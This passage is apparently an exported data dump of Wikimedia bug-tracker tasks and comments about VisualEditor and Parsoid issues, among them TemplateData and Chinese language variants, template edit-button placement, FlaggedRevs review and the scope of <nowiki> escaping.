+https://gerrit.wikimedia.org/r/112318",,,1391915675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kt3assypvj632tuitmf6,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+52888,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"screenshot of the dialogue
+
+I added TemplateData to Template:X1 (this is a sandbox)
+Then, I go to my personal sandbox User:Waihorace/sandbox/VE to try adding Template X1 to that page.
+I pressed the button that allow me to add template (don't know its exact English wording)
+It prompt me to enter a template name, so I typed in X1
+Then, it comes out that the description is not shown, parma names are not shown, but the list of parma is given for me to choose.
+
+Why the description and the name and description of the parma is not shown, while https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:X1&format=jsonfm works?
+
+( X1 is a template which will be cleared by a bot automatically. To reproduce, check if the content is still there or otherwise revent back to oldid=27156695 )
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50431
+
+**Attached**: {F11387}",High,80.0,1373206260,1383257477.0,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,False,PHID-TASK-vgr63prhj7eik7b2qkwd,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+241042,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Change 92826 merged by jenkins-bot:
+dm.MWTemplateSpecModel: Resolve translations through the TemplateData API
+
+https://gerrit.wikimedia.org/r/92826",,,1383255765,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241038,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Change 92826 had a related patch set uploaded by Krinkle:
+dm.MWTemplateSpecModel: Resolve translations through the TemplateData API
+
+https://gerrit.wikimedia.org/r/92826",,,1383180900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241034,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"(In reply to comment #1)
+> Created attachment 12774 [details]
+> API response
+> 
+> To make it easier, after I restored your edit at
+> https://zh.wikipedia.org/w/index.php?diff=27157124
+> the content of
+> https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:
+> X1&format=jsonfm
+> was like in the attached file.
+> 
+> What was your user language preference when you tested this?
+> 
+> Does the problem happens on both of the following URLs?
+> https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/
+> VE?veaction=edit&uselang=zh
+> https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/
+> VE?veaction=edit&uselang=en
+> 
+> For me the bug only happens in the second one, and I think this is the same
+> as
+> bug 50431.
+
+The bug only happens in the second one. 
+I think the problem that I reported comes out because of the language conversion of Chinese Wikipedia. 
+
+The TemplateData only works on zh, but not any variant of Chinese (e.g. zh-hans, zh-hant, zh-tw, zh-cn, zh-hk, zh-sg, zh-mo). Should the data in zh be applied in those 7 variants, or otherwise, editors need to set the description for every variants which is time-wasting.
+
+**Attached**: {F11388}",,,1373209810,,PHID-USER-ixwg3kf22idjy7x4ncxf,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1
+241029,VisualEditor cannot get full TemplateData on zhwiki (language variant issue?),"Created attachment 12774
+API response
+
+To make it easier, after I restored your edit at
+https://zh.wikipedia.org/w/index.php?diff=27157124
+the content of
+https://zh.wikipedia.org/w/api.php?action=templatedata&titles=Template:X1&format=jsonfm
+was like in the attached file.
+
+What was your user language preference when you tested this?
+
+Does the problem happens on both of the following URLs?
+https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/VE?veaction=edit&uselang=zh
+https://zh.wikipedia.org/wiki/User:Waihorace/sandbox/VE?veaction=edit&uselang=en
+
+For me the bug only happens in the second one, and I think this is the same as bug 50431.
+
+**Attached**: {F11388}",,,1373208580,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-vgr63prhj7eik7b2qkwd,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,0
+52854,VisualEditor: Display the contextual menu for templates much more visibly,"I've noticed a couple of times that users on VE/Feedback have said that they 'couldn't change the block and that it became blue', which I think is an indication they were unable to spot the template edit button.
+
+Now I noticed that the edit button anchor for templates is always at the top right. On 100% width block elements, the content can often be completely left aligned however, and the button is then to the FAR right of the page, making it easy to miss.
+
+For instance, take the {{Refbegin}}-{{refend} block on this page https://en.wikipedia.org/wiki/Warehouse_control_system?veaction=edit on a fairly large monitor.
+
+It might be nice if we could come up with some idea to more intelligently place the button. if( block && !width && computedWidth > 160em && text_align == left) then align button left
+
+
+Point 2:
+Also, the white button on the blue mask on top of the white page is not the highest contrasting style. Styling it stronger might also make it easier to discover for users.
+
+Point 3:
+The puzzle piece in that context doesn't give the user much info. Why not a simple Edit logo ? I think that would be way easier to understand.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373101500,1414104265.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-he62ku3noedhtzp55bhf,task_description,resolved,True,c1,3,True,False,False,0,,1,0,1,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1
+239068,VisualEditor: Display the contextual menu for templates much more visibly,Confirmed the fix in production - the templates' contextual menu is displayed either on the far right of the screen or at the middle as for 'Cite web' template.,,,1415382971,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,True,,,70,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+239065,VisualEditor: Display the contextual menu for templates much more visibly,"Sorry for having not responded on this ticket; we fixed this ages ago with the new contextual menu. There are still some issues with the context appearing off-screen if the template is taller than your screen and you're down-page of it, but that is covered by different bugs.",,,1414104265,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,True,,,68,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+239061,VisualEditor: Display the contextual menu for templates much more visibly,"Screenshot of cs.wp Křivá Ves shows the wrong possition of edit button.
+
+I agree. Look at https://cs.wikipedia.org/wiki/Křivá_Ves. If you want to edit the infobox, the key/edit button goes completly to right, where you might not notice it.
+
+**Attached**: {F11331}",,,1378792955,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-he62ku3noedhtzp55bhf,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+52852,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"I deliberately edited [[Roller coaster]], an article under Pending Changes that had an unreviewed change, using my administrator account, using VisualEditor. When editing source, there would be an edit notice advising of the pending change, which is not present with VisualEditor. Nonetheless, edits by an administrator account are supposed to be automatically accepted.  Instead, my edit was made subject to review. See screenshot at http://commons.wikimedia.org/wiki/File:CoasterCrop.png.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49699",High,80.0,1373091660,1373145698.0,PHID-USER-yif6nz5uhka5cnltixpc,False,,False,PHID-TASK-ofaluihol767l3yg5fjw,task_description,resolved,True,c1,3,False,False,True,0,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+238984,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"I mis-understood the bug as reported; my apologies. It is in fact entirely a duplicate of bug 49699. Marking as such.
+
+*** This bug has been marked as a duplicate of bug 49699 ***",,,1373145698,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,True,,,0,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+238976,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"Isn't this just how FlaggedRevs (this is a different name for the same thing AFAIK) work? Edits by reviewers are only autoflagged if the previous revision was flagged as well.
+
+Unless I'm misunderstanding something, the bug as described by the current summary (""VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled"") would be a blocker to deployment on Wikipedia using FlaggedRevs for all articles, like the Polish Wikipedia. However it seemed to behave corrently in my testing there.",,,1373145158,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,True,,,0,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+238967,VisualEditor: Edits made by users with +reviewer rights should not get flagged on pages with FlaggedRevs enabled,"Expanding on the above, when editing a PendingChanges article with actively pending changes using source code, admins/reviewers must either accept or revert the outstanding PCs before their own edit is saved. This is not happening under VisualEditor.",,,1373093279,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-ofaluihol767l3yg5fjw,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+52850,VisualEditor: Inspecting image immediately after inserting it causes exception,"1. Put the cursor in the middle of a paragraph
+2. Insert an image
+3. The inserted image is now selected, and displays an inspector button
+4. Click the inspector button
+5. You get an empty image dialog and an exception because getFocusableNode() returned null
+
+It seems this happens because the post-insertion selection in step 3 covers something like </p><img></img><p> rather than just the image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373080620,1377894433.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_description,invalid,True,c1,3,False,False,True,0,,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+238865,VisualEditor: Inspecting image immediately after inserting it causes exception,This is now INVALID because we don't select the node after insertion any more (should we?).,,,1377894433,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0
+238857,VisualEditor: Inspecting image immediately after inserting it causes exception,*** Bug 51863 has been marked as a duplicate of this bug. ***,,,1374624697,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4v36rjb5p4c3fhjflpoq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52841,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Right now the following HTML entered by a user:
+
+<p>Hello my [[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</p>
+
+… turns into:
+
+<p>Hello my <nowiki>[[name]] is Julian and I live in the city of Rochester, New York with my friend Sandy; we write [[books]].</nowiki></p>
+
+… whereas ideally it should be minimal rather than maximal:
+
+<p>Hello my <nowiki>[[</nowiki>name<nowiki>]]</nowiki> is Julian and I live in the city of Rochester, New York with my friend Sandy; we write <nowiki>[[</nowiki>books<nowiki>]]</nowiki>.</p>
+
+This would significantly reduce issues with users accidentally inputting wikitext.  We're taking actions in VisualEditor-land to discourage such input, but if Parsoid could help it would be hugely useful.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1373063340,1374181853.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-qf4vt6acq5wtvvlwympv,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+238268,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","There are still some scenarios where nowiki wrapping will be applied to a longer string than required.  I haven't tried to optimize it all, and if there are still issues, I can revisit it.",,,1374182135,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,2,,1,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+238264,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)",This will likely be deployed later today.,,,1374181853,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+238261,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 74110 merged by jenkins-bot:
+Take #2: (Bug 50841) Reduce scope of nowiki tags
+
+https://gerrit.wikimedia.org/r/74110",,,1374181486,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238259,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 74110 had a related patch set uploaded by Subramanya Sastry:
+Take #2: (Bug 50841) Reduce scope of nowiki tags
+
+https://gerrit.wikimedia.org/r/74110",,,1374033113,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+238256,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 72858 merged by jenkins-bot:
+(Bug 50841): First pass reducing scope of nowiki tags
+
+https://gerrit.wikimedia.org/r/72858",,,1373426923,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+238251,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Change 72858 had a related patch set uploaded by Subramanya Sastry:
+(Bug 50841): First pass reducing scope of nowiki tags
+
+https://gerrit.wikimedia.org/r/72858",,,1373411404,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+238246,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Possibly interesting nowiki watch list to monitor nowiki application in live edits:
+https://en.wikipedia.org/w/index.php?title=Special:AbuseLog&offset=&limit=500&wpSearchFilter=550",,,1373395088,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+238240,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #11)
+
+> Oh I got it. We want to have <nowiki>-{ }-</nowiki> work, so we can't place
+> -{
+> }- back until all other -{ }- markups have been processed, but this also mean
+> other text in nowiki misses the chance to be converted...
+
+I guess -{ and }- in nowiki could be escaped before applying language conversion.",,,1373395037,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+238233,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #10)
+> (In reply to comment #8)
+> > For us it would be helpful if we could separate those two aspects. If little
+> > existing content relies on language conversion being disabled in nowiki, then
+> > that might actually be possible.
+> 
+> There shouldn't be much. It's the case just because in Parser.php,
+> 
+> $text = $this->mStripState->unstripNoWiki( $text );
+> 
+> is placed after
+> 
+> $text = $this->getConverterLanguage()->convert( $text );
+> 
+> but I'm not 100% sure this is just something accidental (or placed in this
+> order delibrately).
+
+Oh I got it. We want to have <nowiki>-{ }-</nowiki> work, so we can't place -{ }- back until all other -{ }- markups have been processed, but this also mean other text in nowiki misses the chance to be converted...",,,1373390406,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+238223,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #8)
+> For us it would be helpful if we could separate those two aspects. If little
+> existing content relies on language conversion being disabled in nowiki, then
+> that might actually be possible.
+
+There shouldn't be much. It's the case just because in Parser.php,
+
+$text = $this->mStripState->unstripNoWiki( $text );
+
+is placed after
+
+$text = $this->getConverterLanguage()->convert( $text );
+
+but I'm not 100% sure this is just something accidental (or placed in this order delibrately).",,,1373390310,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1
+238215,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Gabriel and I discussed the entity solution on IRC, and Gabriel made a good observation that fixing those in 'edit source' will become much harder compared to nowiki tags.  So, entity-based escaping makes fixups harder using the source editor, but makes it easier with VE.  With nowiki, it is the opposite.  But, presumably the noneditability of nowiki sections in VE is temporary.
+
+I'll tackle this with nowikis today by only changing how identified text blocks are escaped without trying to optimize placement itself (Ex:, in reality it is sufficient to only escape ""[["" or ""]]"" in [[Foo]], but that requires more global knowledge which will complicate this).
+
+We'll try to wrap closely occurring wikitext chars in a single nowiki block.  So, ""[[foo]]"" will be wrapped as <nowiki>[[foo]]</nowiki>.  ""Closely occurring"" will be heuristic based, say within X chars.",,,1373388769,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+238209,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #6)
+> Actually, why not use entities for escaping?  That will eliminate nowikis,
+> make
+> them editable, and display as text.
+> 
+> [[Foo]] ==> &#91;&#91;Foo&#93;&#93;
+> 
+> and the like.  Am I missing something that makes this problematic?
+
+Numeric entities are very hard for users to decipher. While unwanted nowiki tags can simply be removed, fixing up unwanted entity escapes is much more work.
+
+(In reply to comment #7)
+> (In reply to comment #5)
+> > Re language conversion:
+> > How often is nowiki used to suppress language conversion? Could -{ }- or some
+> > other syntax be used instead?
+> 
+> It's more like some side effect...
+
+For us it would be helpful if we could separate those two aspects. If little existing content relies on language conversion being disabled in nowiki, then that might actually be possible.",,,1373388668,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,True,,,1,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,1,0,1
+238202,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","(In reply to comment #5)
+> Re language conversion:
+> How often is nowiki used to suppress language conversion? Could -{ }- or some
+> other syntax be used instead?
+
+It's more like some side effect...",,,1373344988,,PHID-USER-zjzhrhmn36icnzbckqy4,True,,,PHID-TASK-qf4vt6acq5wtvvlwympv,task_subcomment,,True,c1,3,False,,,1,,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1
+238198,"<nowiki> tags should be applied to the minimal rather than maximal content (or well, a compromise thereof..)","Actually, why not use entities for escaping?  That will eliminate nowikis, make them editable, and display as text.
+
+[[Foo]] ==> &#91;&#91;Foo&#93;&#93;
+
